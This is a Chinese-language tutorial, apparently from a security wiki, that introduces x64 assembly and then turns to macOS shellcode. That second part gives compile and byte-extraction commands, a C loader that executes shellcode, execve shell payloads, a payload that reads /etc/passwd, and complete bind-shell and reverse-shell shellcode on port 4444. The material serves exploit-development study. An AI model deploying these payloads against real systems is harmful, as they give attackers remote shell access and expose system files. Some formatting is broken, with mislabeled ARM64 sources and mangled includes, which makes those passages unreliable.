Introduction to x64

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x64简介

x64，也称为x86-64，是一种主要用于台式机和服务器计算的64位处理器架构。起源于由英特尔生产的x86架构，后来被AMD采用并命名为AMD64，是今天个人计算机和服务器中普遍采用的架构。

寄存器

x64扩展了x86架构，具有16个通用寄存器，标记为rax、rbx、rcx、rdx、rbp、rsp、rsi、rdi，以及r8到r15。每个寄存器可以存储64位（8字节）的值。这些寄存器还具有32位、16位和8位的子寄存器，用于兼容性和特定任务。

  1. rax - 传统上用于从函数中返回值。

  2. rbx - 经常用作内存操作的基址寄存器。

  3. rcx - 通常用于循环计数器。

  4. rdx - 用于包括扩展算术运算在内的各种角色。

  5. rbp - 栈帧的基指针。

  6. rsp - 栈指针，跟踪栈的顶部。

  7. rsi 和 rdi - 用于字符串/内存操作中的源和目的索引。

  8. r8 到 r15 - x64中引入的额外通用寄存器。

调用约定

x64的调用约定在操作系统之间有所不同。例如：

  • Windows：前四个参数通过寄存器**rcx、rdx、r8和r9传递。额外的参数被推送到栈上。返回值在rax**中。

  • System V（在类UNIX系统中常用）：前六个整数或指针参数通过寄存器**rdi、rsi、rdx、rcx、r8和r9传递。返回值也在rax**中。

如果函数有超过六个输入，则其余参数将通过栈传递。RSP，即栈指针，必须是16字节对齐，这意味着在进行任何调用之前，它指向的地址必须能被16整除。这意味着通常我们需要确保我们的shellcode在进行函数调用之前RSP被正确对齐。然而，在实践中，即使不满足这一要求，系统调用也经常能够正常工作。

Swift中的调用约定

Swift有自己的调用约定，可以在https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64找到。

常见指令

x64指令具有丰富的集合，保持与早期x86指令的兼容性并引入新指令。

  • mov：将一个值从一个寄存器或内存位置移动到另一个。

  • 示例：mov rax, rbx — 将rbx中的值移动到rax。

  • push 和 pop：将值推送到/从栈中弹出。

  • 示例：push rax — 将rax中的值推送到栈上。

  • 示例：pop rax — 将栈顶值弹出到rax中。

  • add 和 sub：加法和减法操作。

  • 示例：add rax, rcx — 将rax和rcx中的值相加，并将结果存储在rax中。

  • mul 和 div：乘法和除法操作。注意：这些操作对操作数的使用有特定行为。

  • call 和 ret：用于调用和从函数返回。

  • int：用于触发软件中断。例如，在32位x86 Linux中，int 0x80用于系统调用。

  • cmp：比较两个值并根据结果设置CPU的标志。

  • 示例：cmp rax, rdx — 比较rax和rdx。

  • je、jne、jl、jge等：条件跳转指令，根据先前的cmp或测试结果改变控制流。

  • 示例：在cmp rax, rdx指令之后，je label — 如果rax等于rdx，则跳转到label。

  • syscall：在一些x64系统（如现代Unix）中用于系统调用。

  • sysenter：在某些平台上优化的系统调用指令。

函数序言

  1. 推送旧的基指针：push rbp（保存调用者的基指针）

  2. 将当前栈指针移动到基指针：mov rbp, rsp（为当前函数设置新的基指针）

  3. 为本地变量在栈上分配空间：sub rsp, <size>（其中<size>是所需字节数）

函数结语

  1. 将当前基指针移动到栈指针：mov rsp, rbp（释放本地变量）

  2. 从栈中弹出旧的基指针：pop rbp（恢复调用者的基指针）

  3. 返回：ret（将控制返回给调用者）

macOS

系统调用

有不同类别的系统调用，你可以在这里找到它们:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

然后，您可以在此网址中找到每个系统调用号：

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

因此，为了从Unix/BSD类调用open系统调用（5），您需要将其添加为：0x2000000

因此，调用open的系统调用号将是0x2000005

Shellcodes

要编译：

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

提取字节：

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
用于测试shellcode的C代码

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行解释。

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='使用 adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

使用 cat 命令读取

目标是执行 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)，因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

使用 sh 调用命令

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

绑定 shell

绑定 shell 来自 https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html 在 端口 4444 上。

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

反向Shell

从https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html获取反向shell。反向shell连接到127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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